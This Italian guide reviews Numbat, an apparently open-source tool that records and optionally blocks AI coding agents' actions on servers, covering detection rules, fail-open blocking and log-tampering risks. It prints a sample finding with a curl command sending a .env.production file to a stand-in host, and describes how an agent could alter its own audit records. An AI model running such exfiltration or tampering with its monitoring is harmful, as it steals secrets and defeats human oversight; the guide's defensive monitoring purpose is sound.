SSD Nodes Learn Hosting plans →
Guide Matt ConnorDi Matt Connor · Aggiornato 2026-10-23

Numbat: controlla cosa fanno gli agenti AI

Numbat registra le azioni degli agenti di coding sui tuoi server, inclusi accessi a chiavi SSH e download verso la shell. Scopri cosa rileva e cosa non blocca.

Che cos'è Numbat

Numbat offre visibilità sulle attività eseguite da un agente di IA su una macchina di tua proprietà. Legge i callback degli hook e i file di sessione già prodotti dagli agenti di coding, li normalizza in un unico formato per gli eventi e li confronta con regole che si attivano in presenza di comportamenti come la lettura di una chiave privata SSH o l'invio diretto di un download a una shell. Perplexity lo ha rilasciato come software open source con licenza Apache 2.0; la prima release contrassegnata risale al 29 July 2026.

Tutto ciò che segue proviene dal repository del progetto e dalla documentazione ufficiale, consultati il 2 August 2026. La cronologia delle release, i requisiti di installazione, lo schema dei record e la copertura degli agenti sono stati verificati nuovamente nel repository il 12 October 2026. Quando Perplexity fa un'affermazione, questo articolo lo specifica. Non si tratta di un tutorial per l'installazione, perché il repository è ancora recente e i relativi comandi cambieranno.

Il problema: nessuno registra le operazioni eseguite dall'agente

Un agente di programmazione sul tuo VPS esegue comandi shell, legge file, scrive file e apre connessioni di rete, sempre con l'utente che gli hai assegnato. La cronologia della shell non registra nulla di tutto questo, perché l'agente non sta digitando nella tua shell. sshd registra il tuo accesso e nient'altro di ciò che il modello decide di fare in seguito. /var/log/auth.log rimane silenzioso, a meno che qualcosa non acceda a sudo. L'agente conserva una propria trascrizione, ma quel file si trova nella directory della sessione dell'agente, il suo formato cambia tra una release e l'altra e il processo dell'agente può scriverci.

Quindi, quando qualcuno chiede se l'agente ha letto .env.production martedì scorso, la risposta corretta, nella maggior parte dei server, è che non puoi verificarlo. È per colmare questa lacuna che esiste questo progetto.

Cosa dichiara Perplexity sulle funzioni di Numbat

Il README descrive inizialmente lo strumento come «visibilità sull'endpoint delle attività degli agenti AI, con rilevamento locale, blocco opzionale prima dell'azione e ricostruzione forense». In questo contesto, endpoint indica la macchina su cui viene eseguito l'agente, non un'appliance di rete che osserva il traffico dall'esterno. Si tratta di funzionalità distinte, con un'importanza diversa.

Il rilevamento viene eseguito sul dispositivo. Le regole sono scritte in CEL (common expression language) e valutate localmente. Sono inoltre disponibili regole di sequenza composte da più passaggi e il supporto per regole personalizzate in YAML. Per attivare una regola, non è necessario che alcun dato lasci la macchina.

Il blocco è opzionale e limitato. Funziona soltanto tramite hook sincroni eseguiti prima dell'azione, sugli agenti che ne espongono uno, ed è disabilitato finché non lo si abilita.

La ricostruzione avviene successivamente. numbat scan analizza gli artefatti di sessione che un agente ha già scritto su disco, consentendo di esaminare attività precedenti all'installazione dello strumento. Il progetto delimita con attenzione questa funzionalità: «La ricostruzione dei dati a riposo non equivale all'acquisizione del disco o della memoria e non può recuperare attività che l'agente non ha persistito».

L'output è NDJSON versionato (JSON delimitato da nuove righe) e include eventi, risultati, decisioni di applicazione delle regole, indicatori e riepiloghi delle scansioni. Alla versione dello schema 0.2.0 in v0.1.2, lo schema è stato successivamente aggiornato: il 12 ottobre 2026 il repository conteneva le versioni dello schema 0.2.0, 0.3.0 e 0.4.0, mentre gli esempi di record nel README mostravano la versione 0.4.0. I record vengono inviati a stdout o a un file locale e, facoltativamente, tramite HTTP a un collector gestito dall'utente. Il software viene distribuito come un singolo binario statico Go, compilato senza cgo, per macOS, Linux e Windows su amd64 e arm64. Su un VPS Linux è quindi sufficiente un singolo file e non occorre installare prima alcun runtime.

Quali agent può vedere effettivamente Numbat?

La matrice di copertura in docs/agent-coverage.md è l’elenco di riferimento e presenta differenze significative. Il progetto lo dichiara chiaramente, senza nasconderlo. Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI supportano sia la scansione degli artifact sia la cattura in tempo reale tramite un pre-action hook. OpenClaw riceve un plugin nativo a partire dalla versione 2026.7.1. Un lungo elenco di voci è contrassegnato come deferred: ciò significa che esiste un percorso per gli hook in tempo reale, ma non il parser degli artifact. Spesso il motivo è che l’agent memorizza la cronologia in SQLite con un write-ahead log che non è sicuro da leggere mentre l’agent è in esecuzione. Cline CLI rientra in questo gruppo: i suoi hook in tempo reale funzionano, ma le sessioni SQLite non vengono analizzate. OpenCode è un caso separato. La matrice della versione v0.1.2 analizza i precedenti archivi JSON e rinvia soltanto il database corrente opencode.db; inoltre non indica alcuna enforcement tramite pre-action per OpenCode. Il 12 ottobre 2026, anche la matrice nel branch main riportava ancora questa situazione.

Controlla la riga relativa al tuo agent prima di pianificare qualsiasi attività basata su questo strumento, perché il termine "supportato" assume un significato diverso in quasi ogni riga.

Come si presenta un rilevamento

Le regole hanno identificativi che ne indicano la funzione. secrets.read_private_key rileva una chiave SSH, credenziali AWS, una configurazione kube o un accesso a un registro di pacchetti. exec.download_pipe_shell si attiva quando l'output di curl o wget viene passato tramite pipe a un interprete. privilege.elevated_shell rileva una richiesta di una shell interattiva root tramite sudo, doas, su o pkexec. impact.cryptomining_launch corrisponde a binari e nomi di immagini noti per il mining.

Le regole di sequenza collegano gli eventi all'interno di una sessione. chain.secret_read_then_egress richiede la lettura di un file contenente un secret seguita da un comando che invia dati all'esterno. Il README pubblica il rilevamento seguente, ottenuto dalla riproduzione controllata di due callback pre-action di Claude Code, non da un incidente reale. Qui è ridotto ai campi rilevanti:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Si noti "confidence": "medium" all'interno del record e si consideri quanto afferma il progetto sull'intera categoria di output: "I rilevamenti sono corrispondenze di regole, non prove di compromissione." Uno script di deploy che legge una chiave e poi carica un build artifact corrisponderà alla stessa regola di sequenza. La corrispondenza è corretta, ma l'allarme è errato: è il comportamento normale di ogni strumento di rilevamento mai eseguito.

Il blocco è disabilitato per impostazione predefinita e, in caso di errore, consente il passaggio

Tutte le regole distribuite da Numbat sono solo di monitoraggio. Trasformarne una in una regola di blocco richiede un intervento esplicito: copiare il file YAML completo della regola in una directory propria, mantenere lo stesso id, aggiungere enforce: true, incrementare la versione, quindi convalidare e installare la policy.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ora vediamo quanto sia opportuno affidarsi a questo meccanismo. Il deny di Numbat è una risposta restituita all'agent; è l'agent a rifiutare effettivamente la chiamata allo strumento. La guida all'enforcement descrive chiaramente cosa accade quando Numbat ha un problema: "I payload malformati, gli errori di valutazione pertinenti, i panic e gli errori di output sopprimono il deny di numbat." L'input dell'hook è limitato a 4 MiB e l'input che supera questo limite segue lo stesso percorso.

La guida descrive altrettanto chiaramente il limite di un deny che viene effettivamente restituito: "Fail-open significa che numbat non restituisce la risposta deny. Non garantisce che lo strumento venga eseguito: l'host potrebbe comunque richiedere una conferma, rifiutare l'operazione, andare in timeout oppure applicare un altro hook o un'altra policy."

In questo caso, quindi, l'enforcement è una protezione aggiuntiva, non un confine di sicurezza. Se il processo va in crash, Numbat non blocca l'azione, perché un monitor che blocca l'agent ogni volta che si verifica un problema verrebbe disinstallato nel giro di una settimana. Il compromesso è ragionevole. Non costruire però un modello di sicurezza che presupponga che il deny venga sempre restituito.

Dove si colloca Numbat rispetto a ciò che fai già

Numbat viene eseguito sull'endpoint, all'interno dell'albero dei processi dell'agent, e scrive per impostazione predefinita in ~/.numbat/records.ndjson. Un agent eseguito con il tuo utente può leggere quel file. Può anche modificarlo. La traccia di audit vale esattamente quanto l'isolamento che la protegge. Per questo tutti i controlli già presenti devono trovarsi davanti a Numbat, non dietro di esso.

Assegnare all'agent di coding una VM usa e getta limita ciò che un'esecuzione dannosa può raggiungere. Usare un account con privilegi minimi sul VPS impedisce all'agent di accedere ai file che non deve aprire. Tenere le credenziali fuori dal contesto dell'agent rende una corrispondenza secrets.read_private_key abbastanza rara da valere la pena di esaminarla quando si verifica. E la sandbox che configuri per Claude Code su un VPS resta il meccanismo che garantisce il contenimento. Il contenimento limita ciò che un'esecuzione dannosa può modificare o consultare, mentre annotare il motivo per cui il codice è strutturato in quel modo riduce la frequenza con cui l'agent esegue azioni abbastanza inattese da costringerti a consultare il log.

Numbat aggiunge la registrazione degli eventi. Per questo devi inviare i dati registrati in un punto che l'agent non possa raggiungere. A questo servono numbat ship e il sink HTTP. Una copia del flusso su una seconda macchina è ciò che distingue un file di log da una prova. Il modello degli eventi include anche i campi MCP (model context protocol). Di conseguenza, le chiamate agli strumenti che passano attraverso un server MCP che ospiti su un VPS finiscono nello stesso flusso dei comandi shell locali. Questo è importante perché quel percorso è invisibile a qualunque controllo che monitori soltanto bash. Lo stesso punto cieco riguarda un'istanza SearXNG configurata come backend di ricerca dell'agent, dove il rischio consiste in testo di pagine non attendibili inserito nel contesto del modello, non in un comando intercettabile da una regola.

Provalo prima in sola lettura

Installa una versione fissata. Il comando seguente fissa la versione v0.1.2, il cui README richiede Go 1.26.5 o una versione successiva. Il README sul ramo main richiedeva Go 1.26.6 o una versione successiva il 12 ottobre 2026. Questo aggiornamento è arrivato con v0.2.0. Pertanto, se fissi un tag più recente, usa 1.26.6. La pagina delle release contiene binari precompilati con checksum SHA-256, se preferisci non compilare dal codice sorgente.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents rileva gli agent installati sul server. numbat scan analizza gli artefatti delle sessioni già presenti sul disco e stampa i record. Il README specifica che questi comandi «non installano hook e non modificano la configurazione degli agent» e che numbat «non esegue mai gli agent o i comandi trovati negli artefatti e invia richieste in uscita soltanto ai sink HTTP configurati». La scansione è in sola lettura e oscura i secret. L'output normale dei record non include mai una trascrizione raw completa.

Il passaggio successivo è la cattura live, che modifica la configurazione degli agent:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all scrive eventi, risultati, indicatori e decisioni di enforcement applicabili in ~/.numbat/records.ndjson. Due avvertenze derivano direttamente dal progetto. Prima di essere eseguiti, gli hook potrebbero dover essere considerati attendibili all'interno dell'agent. Questa attendibilità deve essere verificata di nuovo dopo la modifica di flag come --enforce. Inoltre, hook status «verifica la configurazione, non l'esecuzione o la consegna». Pertanto, una riga di stato corretta non dimostra che i record stiano arrivando a destinazione.

Perché un repository così recente non è una dipendenza

Al 12 ottobre 2026, le release pubbliche sono v0.1.1 del 29 luglio 2026, v0.1.2 del 1 agosto 2026 e v0.2.0 del 17 agosto 2026; la pagina delle release indica quest'ultima come la più recente. Quando è stato scritto questo articolo, il repository aveva 597 stelle, il 2 agosto 2026. Numeri che crescono così rapidamente riflettono il pubblico di Perplexity, non la solidità del codice. Una stella indica che qualcuno ha salvato la pagina per consultarla in seguito.

Il numero di versione descrive con chiarezza il livello di maturità del progetto. Le note di v0.1.2 riguardano soprattutto correzioni alla redazione delle credenziali, oltre alla normalizzazione dei bundle dei casi e della telemetria. Le note di v0.2.0 aggiungono la raccolta limitata del contenuto dei messaggi, l'applicazione della lettura dei file da parte di Cursor tramite il relativo hook beforeReadFile e altre correzioni alla redazione. I bug nella redazione sono il tipo di difetto atteso nelle prime versioni di uno strumento che deve leggere in sicurezza i transcript di altri programmi. Ce ne saranno altri, perché gli input provengono da una dozzina di agenti che modificano autonomamente il proprio formato secondo tempistiche diverse.

Da qui seguono due regole pratiche. Fissa il tag, mai @latest, in tutto ciò che conservi. Consideralo inoltre uno strumento in fase di valutazione, non un controllo da cui dipendere, almeno finché lo schema dei record non smetterà di cambiare. Non si è ancora stabilizzato: in circa dieci settimane è passato da 0.2.0 in v0.1.2 a 0.4.0 nel README del branch main.

FAQ

Numbat blocca i comandi pericolosi degli agenti AI?

Solo se lo abiliti esplicitamente e soltanto con un approccio best effort. Tutte le regole distribuite da Numbat sono in modalità di sola supervisione. Per bloccare un comando, copia lo YAML della regola in una directory di tua proprietà, mantieni il relativo id, aggiungi enforce: true, incrementa la versione e installa l’hook con --enforce. Anche in questo caso, il deny è una risposta restituita all’agente, che deve rifiutare la chiamata. Il progetto documenta un comportamento fail-open: payload non validi, errori di valutazione, panic ed errori di output sopprimono il deny. Usalo come misura di protezione aggiuntiva, non come unico confine di sicurezza.

Quali agenti AI supporta Numbat?

La copertura varia in base all’agente ed è elencata in docs/agent-coverage.md nel repository. Quando quella pagina è stata consultata, il 2 agosto 2026, Claude Code, Codex, Gemini CLI, Cursor e GitHub Copilot CLI disponevano sia della scansione degli artefatti sia della cattura in tempo reale; OpenClaw dispone invece di un plugin nativo dalla versione 2026.7.1. Molti altri agenti sono elencati con un percorso per l’hook live, ma senza un parser degli artefatti, in genere perché la cronologia delle sessioni risiede in un database SQLite che non è sicuro leggere mentre l’agente è in esecuzione. Leggi la riga relativa al tuo agente, perché in quella tabella il termine "supportato" indica diversi livelli di integrazione.

L’agente può manomettere i record di Numbat?

Sì, se viene eseguito dallo stesso utente. Per impostazione predefinita, i record vengono salvati in ~/.numbat/records.ndjson sulla stessa macchina dell’agente. Di conseguenza, qualsiasi processo con accesso in scrittura a quel percorso può modificarli o eliminarli. Invia il flusso a un collector che l’agente non possa raggiungere, usando numbat ship o il sink HTTP, e conserva il file locale come copia di servizio. Per questo lo strumento integra l’isolamento invece di sostituirlo. Un agente confinato in una VM usa-e-getta ed eseguito da un utente con privilegi minimi ha un accesso molto più limitato al proprio audit trail.

Numbat è pronto per un server di produzione?

Non come controllo da cui dipendere. La prima release pubblica è stata v0.1.1 il 29 luglio 2026, seguita da v0.1.2 il 1 agosto 2026 e da v0.2.0 il 17 agosto 2026. Inoltre, il 12 ottobre 2026 lo schema dei record nel README era arrivato alla versione 0.4.0. Sia i flag sia lo schema dei record sono quindi ancora soggetti a modifiche. Eseguire numbat agents e numbat scan su un host è un’operazione in sola lettura e a basso rischio. Permette di vedere cosa gli agenti hanno lasciato sul disco. Installare hook di enforcement su un server importante è una decisione diversa. Richiede un tag fissato e un piano per gestire il caso in cui l’hook si comporti in modo errato.

Questo articolo ti è stato utile?